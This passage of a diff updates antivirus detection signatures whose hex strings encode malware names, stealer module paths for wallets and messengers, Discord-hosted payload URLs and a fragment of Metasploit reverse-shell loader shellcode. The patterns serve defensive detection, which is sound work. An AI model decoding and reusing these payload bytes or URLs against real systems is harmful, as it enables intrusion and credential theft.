61 6e 74 69 90 02 01 65 6d 75 90 02 0a 2e 72 73 90 00 01 00 10 01 5c 63 68 72 6f 6d 69 75 6d 5c 6d 6f 64 2e 72 73 01 00 12 01 5c 73 65 6e 73 69 74 69 76 65 5f 64 61 74 61 2e 72 73 01 00 09 01 5c 75 70 6c 61 79 2e 72 73 01 00 0b 01 5c 64 } //11890 - $a_6f_4 = {64 2e 72 73 01 00 0f 01 5c 70 65 72 73 69 73 74 65 6e 63 65 2e 72 73 01 00 11 01 5c 77 61 6c 6c 65 74 73 5c 90 02 0a 2e 72 73 90 00 01 00 17 01 5c 6d 65 73 73 65 6e 67 65 72 73 5c 74 65 6c 65 67 72 61 6d 2e 72 73 00 00 78 00 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //29545 - $a_41_5 = {65 6e 74 54 65 73 6c 61 2e 50 4b 41 44 31 33 21 4d 54 42 00 01 00 25 81 01 24 65 36 39 31 39 30 63 37 2d 64 65 66 32 2d 34 33 31 35 2d 38 30 } //19529 + $a_6f_4 = {64 2e 72 73 01 00 0f 01 5c 70 65 72 73 69 73 74 65 6e 63 65 2e 72 73 01 00 11 01 5c 77 61 6c 6c 65 74 73 5c 90 02 0a 2e 72 73 90 00 01 00 17 01 5c 6d 65 73 73 65 6e 67 65 72 73 5c 74 65 6c 65 67 72 61 6d 2e 72 73 00 00 78 00 01 00 05 00 05 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e } //29545 + $a_64_5 = {72 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4e 49 54 21 4d 54 42 00 03 00 68 03 72 91 01 00 70 02 7b 01 00 00 04 02 7b 06 00 00 04 28 90 01 01 00 00 0a 8c 3a 00 00 01 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 06 6f 39 00 00 0a de 0a 07 2c 06 07 6f 2b 00 00 0a dc 02 28 90 01 01 00 00 06 20 e8 03 00 } //28524 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_00_2 & 1)*101+(#a_73_3 & 1)*11890+(#a_6f_4 & 1)*29545+(#a_41_5 & 1)*19529) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_00_2 & 1)*101+(#a_73_3 & 1)*11890+(#a_6f_4 & 1)*29545+(#a_64_5 & 1)*28524) >=4 } -rule _InfrastructureShared_16114{ +rule _InfrastructureShared_17171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 2e 52 75 73 74 53 74 65 61 6c 2e 53 41 00 01 00 09 01 5c 73 6b 79 70 65 2e 72 73 01 00 0b 01 5c 73 63 61 6e 6e 65 72 2e 72 73 01 00 0d 01 5c 67 65 63 6b 6f 5c 6d 6f 64 2e 72 73 01 00 0a 01 5c 77 69 6e } //16675 $a_2e_1 = {73 01 00 13 03 5c 61 6e 74 69 90 02 01 65 6d 75 90 02 0a 2e 72 73 90 00 01 00 10 01 5c 63 68 72 6f 6d 69 75 6d 5c 6d 6f 64 2e 72 73 01 00 12 01 5c 73 65 6e 73 69 74 69 76 65 5f 64 61 74 61 2e 72 73 01 00 09 01 5c 75 70 6c 61 79 2e 72 73 01 00 0b 01 5c 64 69 73 63 6f 72 64 2e 72 73 01 00 0f 01 5c 70 65 72 73 69 73 74 65 6e 63 65 2e 72 } //25459 - $a_6c_3 = {65 74 73 5c 90 02 0a 2e 72 73 90 00 01 00 17 01 5c 6d 65 73 73 65 6e 67 65 72 73 5c 74 65 6c 65 67 72 61 6d 2e 72 73 00 00 78 00 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 44 31 33 21 4d 54 42 00 01 00 25 81 01 } //30556 - $a_39_4 = {39 30 63 37 2d 64 65 66 32 2d 34 33 31 35 2d 38 30 33 63 2d 38 37 64 37 65 37 61 36 39 32 36 66 01 00 10 81 01 46 65 62 6f 67 61 63 6f 67 6b 65 72 74 7a 69 6e 01 } //25892 - $a_01_5 = {55 6b 66 77 68 6c 78 65 77 71 78 78 69 6d 6f 63 2e 59 74 68 62 69 67 66 65 6e 65 78 64 6a 74 6c 63 01 00 07 81 01 4a 6a 76 79 6f 7a 65 01 00 59 81 01 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 30 31 33 39 34 33 36 38 31 37 37 36 30 39 39 34 34 30 2f 31 30 31 34 30 30 37 38 37 37 38 38 30 35 32 30 37 33 35 2f 54 6a 65 64 76 5f 56 61 } //8448 - $a_7a_6 = {66 2e 62 6d 70 00 00 78 00 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 36 21 4d 54 42 00 01 00 25 81 01 24 64 34 62 31 62 64 32 39 2d 62 39 63 32 2d 34 65 36 31 2d 38 33 34 38 2d 34 32 64 35 38 37 34 36 65 31 30 30 01 00 11 81 01 4b 70 79 74 73 71 74 79 75 78 61 75 70 7a 68 } //24952 - $a_00_7 = {15 } //25705 - $a_78_8 = {6b 67 6e 76 6f 66 75 71 2e 54 6a 78 6c 64 65 76 6c 73 01 00 09 81 01 46 6e 72 61 73 66 7a 66 79 01 00 61 81 01 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 30 31 36 } //385 - $a_37_9 = {37 39 39 32 34 39 30 30 33 37 2f 31 30 32 30 32 34 36 31 30 37 32 35 32 35 39 36 37 35 36 2f 45 6f 68 77 6a 5f 55 6a 75 6a 66 64 66 73 2e 70 6e 67 00 00 78 00 01 } //13369 + $a_6c_3 = {65 74 73 5c 90 02 0a 2e 72 73 90 00 01 00 17 01 5c 6d 65 73 73 65 6e 67 65 72 73 5c 74 65 6c 65 67 72 61 6d 2e 72 73 00 00 78 00 01 00 05 00 05 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4e 49 54 21 4d 54 42 00 03 00 68 03 72 } //30556 + $a_06_6 = {00 00 04 28 90 01 01 00 00 0a 8c 3a 00 00 01 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 06 6f 39 00 00 0a de 0a 07 2c 06 07 6f 2b 00 00 0a dc 02 28 90 01 01 00 00 06 20 e8 03 00 00 28 90 01 01 00 00 0a 02 02 7b 05 00 00 04 72 ef 00 00 70 16 28 90 01 01 00 00 06 16 90 00 02 00 5f 03 43 00 00 0a 02 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 0a 06 0c 16 0d 2b 16 08 09 9a } //516 + $a_7b_7 = {00 00 } //1043 + $a_6f_8 = {01 01 00 00 } //4356 + $a_58_9 = {09 08 8e 69 32 e4 02 06 8e 69 7d 08 00 00 04 02 7b 0c 00 00 04 02 7b } //2314 + $a_01_11 = {00 } //-28561 condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25459+(#a_6c_3 & 1)*30556+(#a_39_4 & 1)*25892+(#a_01_5 & 1)*8448+(#a_7a_6 & 1)*24952+(#a_00_7 & 1)*25705+(#a_78_8 & 1)*385+(#a_37_9 & 1)*13369) >=4 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25459+(#a_6c_3 & 1)*30556+(#a_06_6 & 1)*516+(#a_7b_7 & 1)*1043+(#a_6f_8 & 1)*4356+(#a_58_9 & 1)*2314+(#a_01_11 & 1)*-28561) >=4 } -rule _InfrastructureShared_16115{ +rule _InfrastructureShared_17172{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4e 49 54 21 4d 54 42 00 03 00 68 03 72 91 01 00 70 02 7b 01 00 00 04 02 7b 06 00 00 04 28 90 01 01 00 00 0a 8c 3a 00 00 01 28 90 01 01 00 00 0a 02 } //21283 + $a_01_1 = {00 } //-28632 + condition: + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-28632) >=5 + +} +rule _InfrastructureShared_17173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -188726,7 +201357,7 @@ rule _InfrastructureShared_16115{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25189+(#a_30_2 & 1)*13369+(#a_52_3 & 1)*21320+(#a_71_4 & 1)*29817) >=5 } -rule _InfrastructureShared_16116{ +rule _InfrastructureShared_17174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -188740,7 +201371,7 @@ rule _InfrastructureShared_16116{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28747+(#a_30_2 & 1)*13876+(#a_3a_3 & 1)*24938+(#a_00_4 & 1)*104) >=5 } -rule _InfrastructureShared_16117{ +rule _InfrastructureShared_17175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188753,7 +201384,7 @@ rule _InfrastructureShared_16117{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29807+(#a_6c_2 & 1)*19201+(#a_00_4 & 1)*100) >=6 } -rule _InfrastructureShared_16118{ +rule _InfrastructureShared_17176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188767,7 +201398,7 @@ rule _InfrastructureShared_16118{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_01_3 & 1)*1792+(#a_01_4 & 1)*28528+(#a_54_5 & 1)*25927) >=6 } -rule _InfrastructureShared_16119{ +rule _InfrastructureShared_17177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188781,7 +201412,7 @@ rule _InfrastructureShared_16119{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*9473+(#a_01_3 & 1)*28528+(#a_61_4 & 1)*28530+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_16120{ +rule _InfrastructureShared_17178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -188795,7 +201426,7 @@ rule _InfrastructureShared_16120{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115+(#a_00_3 & 1)*99+(#a_32_4 & 1)*16952+(#a_46_5 & 1)*17465) >=6 } -rule _InfrastructureShared_16121{ +rule _InfrastructureShared_17179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -188810,7 +201441,7 @@ rule _InfrastructureShared_16121{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17465+(#a_01_2 & 1)*13881+(#a_00_4 & 1)*98+(#a_00_5 & 1)*69+(#a_5f_6 & 1)*25959) >=7 } -rule _InfrastructureShared_16122{ +rule _InfrastructureShared_17180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -188820,29 +201451,45 @@ rule _InfrastructureShared_16122{ $a_74_2 = {4b 43 57 53 4a 4b 01 00 18 01 67 65 74 5f 52 57 45 51 52 47 48 48 42 4e 52 47 54 45 52 46 57 51 52 46 01 00 19 01 67 65 74 5f 51 41 45 46 51 57 45 52 46 57 51 52 44 46 51 57 45 52 51 45 52 00 00 78 00 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //29441 $a_2e_3 = {44 4d 41 31 21 4d 54 42 00 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 55 80 01 65 78 65 2e 65 6e 65 67 2f 30 31 37 37 34 32 34 37 34 35 35 39 33 37 39 33 33 39 2f 35 36 35 34 34 35 36 31 37 33 30 37 35 36 33 32 37 38 2f 73 74 6e 65 6d 68 63 61 74 74 61 2f 6d 6f 63 2e 70 70 61 } //27763 $a_63_4 = {69 64 2e 6e 64 63 2f 2f 3a 73 70 74 74 68 01 00 1c 80 01 54 6f 72 6e 61 74 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0f 80 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 12 80 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 } //29284 - $a_6d_5 = {00 78 00 01 00 07 00 07 00 0f 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 76 74 65 72 5f 43 6f 6e 66 69 67 00 01 00 10 01 73 68 65 6c 6c 3c 3c 3a 3a 3e 3e 73 68 65 6c 6c 01 00 10 01 70 6f 77 65 72 3c 3c 3a 3a 3e 3e 70 6f 77 65 72 01 00 06 01 3e 3e 70 61 74 68 01 00 05 01 3a 3a 63 70 31 01 } //29801 - $a_3a_6 = {63 } //1536 c + $a_6d_5 = {00 78 00 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 51 30 31 21 4d 54 42 00 01 00 14 81 01 5c 66 61 6e 74 61 73 74 73 5c 61 6c 72 75 6d 73 2e 6c 6e 6b 01 00 0c 81 01 63 61 63 63 61 62 69 73 2e 65 78 65 01 00 24 81 01 6a 75 72 79 65 72 73 5c 66 61 67 73 70 72 } //29801 + $a_6e_6 = {5c 65 6d 62 6c 65 6d 61 74 69 63 61 6c 6e 65 73 73 01 00 25 81 01 66 6f 72 64 61 6d 70 5c 62 72 6f 66 6f 67 65 64 65 6e 65 72 73 5c 6c 69 6e 6a 65 61 66 73 74 61 6e 64 65 6e 73 01 00 14 81 01 6d 65 63 68 61 6e 6f 72 65 63 65 70 74 69 6f 6e 2e 6a 70 67 01 00 18 81 01 61 70 6f 74 65 6b 65 72 62 65 76 69 } //26479 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*82+(#a_74_2 & 1)*29441+(#a_2e_3 & 1)*27763+(#a_63_4 & 1)*29284+(#a_6d_5 & 1)*29801+(#a_3a_6 & 1)*1536) >=7 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*82+(#a_74_2 & 1)*29441+(#a_2e_3 & 1)*27763+(#a_63_4 & 1)*29284+(#a_6d_5 & 1)*29801+(#a_6e_6 & 1)*26479) >=7 } -rule _InfrastructureShared_16123{ +rule _InfrastructureShared_17181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 44 4d 41 31 21 4d 54 42 00 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 55 80 01 65 78 65 2e 65 6e 65 67 2f 30 31 37 37 34 32 34 37 34 35 35 39 33 37 39 33 33 39 } //18467 $a_35_1 = {34 35 36 31 37 33 30 37 35 36 33 32 37 38 2f 73 74 6e 65 6d 68 63 61 74 74 61 2f 6d 6f 63 2e 70 70 61 64 72 6f 63 73 69 64 2e 6e 64 63 2f 2f 3a 73 70 74 74 68 01 } //13615 - $a_01_2 = {54 6f 72 6e 61 74 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0f 80 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 12 80 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 00 78 00 01 00 07 00 07 00 0f 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b } //7168 - $a_65_3 = {5f 43 6f 6e 66 69 67 00 01 00 10 01 73 68 65 6c 6c 3c 3c 3a 3a 3e 3e 73 68 65 6c 6c 01 00 10 01 70 6f 77 65 72 3c 3c 3a 3a 3e 3e 70 6f 77 65 72 01 00 06 01 3e 3e 70 61 74 68 01 00 05 01 3a 3a 63 70 31 01 00 06 01 3a 3a 63 70 74 6d 01 00 09 01 3a 3a 6b 65 79 70 61 73 73 01 00 0a 01 3a 3a 6d 61 69 6e 61 6e 74 69 01 00 07 01 3a 3a 64 65 62 75 67 01 } //30319 - $a_3a_4 = {65 } //1280 e - $a_00_5 = {10 } //26476 - $a_70_6 = {68 65 6c 6c 76 69 73 74 61 78 33 32 01 00 0e 01 3a 3a 70 73 68 65 6c 6c 32 6b 33 78 36 34 01 00 10 01 3a 3a 70 73 68 65 6c 6c 76 69 73 74 61 78 36 34 01 00 08 01 3a 3a 69 65 } //14849 + $a_01_2 = {54 6f 72 6e 61 74 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0f 80 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 12 80 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 00 78 00 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //7168 + $a_4c_3 = {30 31 21 4d 54 42 00 01 00 14 81 01 5c 66 61 6e 74 61 73 74 73 5c 61 6c 72 75 6d 73 2e 6c 6e 6b 01 00 0c 81 01 63 61 63 63 61 62 69 73 2e 65 78 65 01 00 24 81 01 6a 75 72 79 65 72 73 5c 66 61 67 73 70 72 6f 67 65 } //11890 + $a_65_4 = {62 6c 65 6d 61 74 69 63 61 6c 6e 65 73 73 01 00 25 81 01 66 6f 72 64 61 6d 70 5c 62 72 6f 66 6f 67 65 64 65 6e 65 72 73 5c 6c 69 6e 6a 65 61 66 73 74 61 6e 64 65 6e 73 01 00 14 81 01 6d 65 63 68 61 6e 6f 72 65 63 65 70 74 69 6f 6e 2e 6a 70 67 01 00 18 81 01 61 70 6f 74 65 6b } //25966 + $a_65_5 = {69 6c 6c 69 6e 67 65 72 73 2e 6a 70 67 01 00 20 81 01 5c 69 6d 6d 75 6e 69 73 65 72 69 6e 67 65 72 5c 70 72 65 61 64 6d 69 74 74 69 6e 67 2e 69 6e 69 00 00 78 00 01 00 07 00 07 00 0f 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 76 74 65 72 5f 43 6f 6e 66 69 67 00 01 00 10 } //29285 + $a_65_6 = {6c 3c 3c 3a 3a 3e 3e 73 68 65 6c 6c 01 00 10 01 70 6f 77 65 72 3c 3c 3a 3a 3e 3e 70 6f 77 65 72 01 00 06 01 3e 3e 70 61 74 68 01 00 05 01 3a 3a 63 70 31 01 00 06 01 3a 3a 63 70 74 6d 01 00 09 01 3a 3a 6b 65 79 70 61 73 73 01 00 0a 01 3a 3a 6d 61 69 6e 61 6e 74 69 01 00 07 01 3a 3a 64 65 62 75 67 01 00 05 01 3a } //29441 condition: - ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*13615+(#a_01_2 & 1)*7168+(#a_65_3 & 1)*30319+(#a_3a_4 & 1)*1280+(#a_00_5 & 1)*26476+(#a_70_6 & 1)*14849) >=7 + ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*13615+(#a_01_2 & 1)*7168+(#a_4c_3 & 1)*11890+(#a_65_4 & 1)*25966+(#a_65_5 & 1)*29285+(#a_65_6 & 1)*29441) >=7 } -rule _InfrastructureShared_16124{ +rule _InfrastructureShared_17182{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 51 30 31 21 4d 54 42 00 01 00 14 81 01 5c 66 61 6e 74 61 73 74 73 5c 61 6c 72 75 6d 73 2e 6c 6e 6b 01 00 0c 81 01 63 61 63 63 61 62 69 73 2e 65 78 65 01 00 24 81 01 6a 75 72 79 65 72 73 5c 66 61 } //18467 + $a_72_1 = {67 65 6e 65 5c 65 6d 62 6c 65 6d 61 74 69 63 61 6c 6e 65 73 73 01 00 25 81 01 66 6f 72 64 61 6d 70 5c 62 72 6f 66 6f 67 65 64 65 6e 65 72 73 5c 6c 69 6e 6a 65 61 66 73 74 61 6e 64 65 6e 73 01 00 14 81 01 6d 65 63 68 61 6e 6f 72 65 63 65 70 74 69 6f 6e 2e 6a 70 67 01 00 18 81 01 61 70 6f 74 65 6b 65 72 62 65 76 69 6c 6c 69 6e 67 65 72 } //29543 + $a_70_2 = {01 00 20 81 01 5c 69 6d 6d 75 6e 69 73 65 72 69 6e 67 65 72 5c 70 72 65 61 64 6d 69 74 74 69 6e 67 2e 69 6e 69 00 00 78 00 01 00 07 00 07 00 0f 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 76 74 65 72 5f 43 6f 6e 66 69 67 00 01 00 10 01 73 68 65 6c 6c 3c 3c 3a 3a 3e 3e 73 68 65 6c 6c 01 00 10 01 } //11891 + $a_65_3 = {3c 3c 3a 3a 3e 3e 70 6f 77 65 72 01 00 06 01 3e 3e 70 61 74 68 01 00 05 01 3a 3a 63 70 31 01 00 06 01 3a 3a 63 70 74 6d 01 00 09 01 3a 3a 6b 65 79 70 61 73 73 01 00 0a 01 3a 3a 6d 61 69 6e 61 6e 74 69 01 00 07 01 3a 3a 64 65 62 75 67 01 00 05 01 3a 3a 65 6c 67 01 00 10 01 3a 3a 70 73 68 65 6c 6c 76 69 73 74 61 78 33 32 01 00 0e 01 3a 3a 70 73 68 65 6c 6c } //28528 + $a_78_4 = {34 01 00 10 01 3a 3a 70 73 68 65 6c 6c 76 69 73 74 61 78 36 34 01 00 08 01 3a 3a 69 65 38 5f 78 70 01 00 0e 01 3a 3a 69 65 31 31 5f 37 73 70 31 5f 33 32 } //27442 + $a_01_5 = {3a 3a 62 5f 64 6c 6c } //1 ::b_dll + $a_00_6 = {01 00 08 00 08 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 73 74 72 65 69 6f 2e 45 48 21 4d 54 42 00 03 00 1b 03 0f b6 39 8b f0 81 e6 ff 00 00 00 33 f7 c1 e8 08 8b 34 b5 90 01 01 19 43 00 90 00 02 00 21 03 8b d0 80 e2 01 f6 da 1b d2 81 e2 20 83 b8 ed d1 e8 33 c2 4e 75 ea 89 04 8d 90 01 01 19 43 00 90 00 01 00 32 01 43 00 6f 00 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29543+(#a_70_2 & 1)*11891+(#a_65_3 & 1)*28528+(#a_78_4 & 1)*27442+(#a_01_5 & 1)*1+(#a_00_6 & 1)*0) >=7 + +} +rule _InfrastructureShared_17183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0f 00 21 " @@ -188864,7 +201511,7 @@ rule _InfrastructureShared_16124{ ((#a_4c_0 & 1)*21539+(#a_3e_1 & 1)*262+(#a_3a_2 & 1)*261+(#a_00_3 & 1)*13366+(#a_69_4 & 1)*14849+(#a_6e_5 & 1)*22330+(#a_00_7 & 1)*108+(#a_00_9 & 1)*1+(#a_72_10 & 1)*14918+(#a_70_11 & 1)*29264+(#a_01_12 & 1)*25954+(#a_5f_13 & 1)*28521+(#a_74_14 & 1)*25089) >=7 } -rule _InfrastructureShared_16125{ +rule _InfrastructureShared_17184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -188878,7 +201525,7 @@ rule _InfrastructureShared_16125{ ((#a_54_0 & 1)*18467+(#a_ea_1 & 1)*20162+(#a_ae_2 & 1)*209+(#a_6f_3 & 1)*30799+(#a_01_4 & 1)*28532) >=8 } -rule _InfrastructureShared_16126{ +rule _InfrastructureShared_17185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -188895,7 +201542,7 @@ rule _InfrastructureShared_16126{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*-32474+(#a_64_2 & 1)*24943+(#a_65_3 & 1)*28005+(#a_74_4 & 1)*29289+(#a_63_5 & 1)*24435+(#a_23_6 & 1)*6+(#a_00_7 & 1)*21581) >=8 } -rule _InfrastructureShared_16127{ +rule _InfrastructureShared_17186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -188913,7 +201560,7 @@ rule _InfrastructureShared_16127{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26994+(#a_52_2 & 1)*-32506+(#a_01_3 & 1)*28521+(#a_41_4 & 1)*25972+(#a_6c_5 & 1)*28005+(#a_41_6 & 1)*19529+(#a_65_7 & 1)*13670+(#a_42_8 & 1)*16962) >=9 } -rule _InfrastructureShared_16128{ +rule _InfrastructureShared_17187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 05 00 06 00 21 " @@ -188928,7 +201575,7 @@ rule _InfrastructureShared_16128{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*400+(#a_f2_2 & 1)*16802+(#a_77_3 & 1)*17409+(#a_68_4 & 1)*16896+(#a_00_5 & 1)*116) >=5 } -rule _InfrastructureShared_16129{ +rule _InfrastructureShared_17188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -188942,29 +201589,51 @@ rule _InfrastructureShared_16129{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_01_4 & 1)*11264+(#a_65_5 & 1)*30054+(#a_52_6 & 1)*-32505) >=11 } -rule _InfrastructureShared_16130{ +rule _InfrastructureShared_17189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0e 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 67 65 74 5f 61 70 70 69 61 74 68 01 00 17 03 46 00 6f 00 72 00 6d 00 90 02 0a 5f 00 4c 00 6f 00 61 00 64 00 90 00 01 00 0e 03 46 } //16675 $a_90_1 = {0a 5f 4c 6f 61 64 90 00 01 00 0b 81 01 72 65 6d 6f 51 63 63 6f 75 6e 74 01 00 09 81 01 64 6f 77 6e 51 64 61 74 61 01 00 09 81 01 6c 6f 61 64 51 64 61 74 61 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 05 81 01 53 70 6c 69 74 01 00 0d 81 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 01 00 05 81 01 5c 5f 52 75 6e 01 00 08 81 01 63 6f } //29295 - $a_61_2 = {74 01 00 09 81 01 70 72 6f 63 51 6c 6f 6f 70 01 00 0b 81 01 64 6f 77 6e 77 64 5f 66 69 6c 65 01 00 0b 81 01 64 65 6c 5f 61 63 63 6f 75 6e 74 00 00 78 00 01 00 5f 00 5b 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 } //25970 - $a_6e_3 = {32 2f 47 72 61 66 74 6f 72 2e 53 49 42 21 4d 54 42 00 50 00 2d 02 77 00 77 00 77 00 2e 00 73 00 61 00 79 00 6c 00 69 00 61 00 6f 00 2e 00 63 00 6f 00 6d 00 2f 00 90 02 0a 2e 00 65 00 78 00 65 00 90 00 50 00 19 02 77 77 77 2e 73 61 79 6c 69 61 6f 2e 63 6f 6d 2f 90 02 0a 2e 65 78 65 90 00 05 00 2f 02 43 00 3a 00 5c } //22330 - $a_00_5 = {72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 90 02 0a 2e 00 65 00 78 00 65 00 90 00 05 00 1a 02 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 90 02 0a 2e 65 78 65 90 00 05 00 07 80 01 57 69 6e 45 78 65 63 05 00 12 80 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 04 80 01 } //111 - $a_73_6 = {00 78 00 01 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 65 74 61 73 70 6c 6f 69 74 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 64 00 63 03 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 90 01 00 00 29 c4 54 50 68 29 80 6b 00 ff d5 6a 0b 59 50 e2 fd 6a 01 6a 02 68 ea 0f } //25700 - $a_d5_7 = {68 02 00 90 01 02 89 e6 6a 